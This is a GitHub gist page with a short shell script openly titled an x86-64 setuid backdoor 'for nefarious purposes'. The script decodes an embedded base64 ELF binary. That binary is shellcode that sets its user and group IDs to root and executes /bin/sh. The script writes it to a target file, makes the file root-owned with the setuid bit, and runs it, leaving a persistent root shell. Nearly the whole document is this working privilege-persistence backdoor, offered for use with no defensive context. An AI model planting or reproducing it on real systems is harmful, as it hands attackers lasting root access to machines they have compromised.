Created
January 20, 2022 02:29
-
-
Save resilar/fe6f746a56c9a3fbe0c2faaf63122828 to your computer and use it in GitHub Desktop.
x86-64 suid backdoor for nefarious purposes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
TARGET="${1:-./narnia}" | |
narnia() { | |
base64 -d <<EOF | |
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAAB | |
AEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAApgAAAAAAAACmAAAAAAAAAAAQ | |
AAAAAAAAMf9XampqaVgPBVhfDwVIuC9iaW4vc2gASInmUEiJ50itSIk+SI1UxghqO1gPBQ== | |
EOF | |
} | |
if ! narnia | cmp -s "$TARGET" | |
then narnia >"$TARGET" && chown 0:0 "$TARGET" && chmod 4755 "$TARGET" | |
fi | |
exec "$TARGET" |
Author
resilar
commented
Jan 20, 2022
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment